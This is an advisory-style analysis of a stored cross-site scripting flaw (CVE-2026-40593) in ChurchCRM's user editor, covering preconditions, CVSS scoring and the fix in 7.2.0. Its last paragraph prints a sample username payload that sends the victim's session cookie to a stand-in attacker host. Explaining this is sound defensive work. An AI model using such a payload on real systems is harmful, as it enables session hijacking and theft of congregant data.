Churchcrm CVE-2026-40593

Exploitation requires the following specific conditions: (1) The attacker must have administrator-level privileges in ChurchCRM (PR:H from CVSS) - they must be able to authenticate and access the user editor functionality. (2) The attacker must be able to edit a username field and persist it to the database (save the malicious username). (3) A second administrator (the victim) must subsequently navigate to the UserEditor.php page for the user whose username contains the payload; the payload does not execute unless and until this view occurs (UI:R requirement). (4) The username field must not be processed through htmlspecialchars() or equivalent HTML entity encoding before rendering into the input value attribute - this is the root cause and is fixed in 7.2.0. No non-default configuration is required to be vulnerable; default installations of ChurchCRM versions below 7.2.0 are affected. The vulnerability does not require network-level access to the database or filesystem, only the normal web interface. JavaScript must be enabled in the victim's browser, which is standard for ChurchCRM administrative use.

CVSS 4.8 reflects moderate severity: network-accessible attack (AV:N), low complexity (AC:L), high privilege requirement (PR:H), and required user interaction (UI:R). However, the real-world risk is elevated within multi-administrator environments by three factors. First, the privilege barrier (PR:H) is meaningful - only administrators can inject the payload - but this is a lower bar than remote code execution; a disgruntled admin or compromised admin account can exploit it. Second, the scope is marked as Changed (S:C), indicating the impact crosses administrative boundaries (one admin compromises another), increasing the severity within shared governance contexts. Third, the CVSS impact is limited to confidentiality and integrity (C:L/I:L) - no availability impact - suggesting the attack does not cause system-wide outages but rather targeted data theft or account manipulation. The absence of actively exploited status (no KEV listing provided) and lack of known public POC reduce immediate pressure, but the fix has been released (version 7.2.0), making this a standard patch-application priority. For organizations with single administrators or strict role separation, the practical risk is lower; for churches with multiple staff using shared admin accounts, risk is higher. The UI:R requirement (requires user interaction) means the attack does not execute automatically on every view; the victim administrator must navigate to the user editor page after the payload is saved.

An administrator with malicious intent or whose account has been compromised logs into ChurchCRM and edits a user profile, entering a crafted username such as admin' onload='fetch("https://attacker.com/steal?cookie=" + document.cookie)' in the username field and saving it. Later, when another administrator accesses the UserEditor.php page for that same user, the JavaScript payload executes in their browser within the context of their authenticated ChurchCRM session, exfiltrating their session cookie to the attacker's server. The attacker then replays the stolen session token to gain access to ChurchCRM as that administrator, allowing them to create unauthorized accounts, modify donation records, or access sensitive congregant data.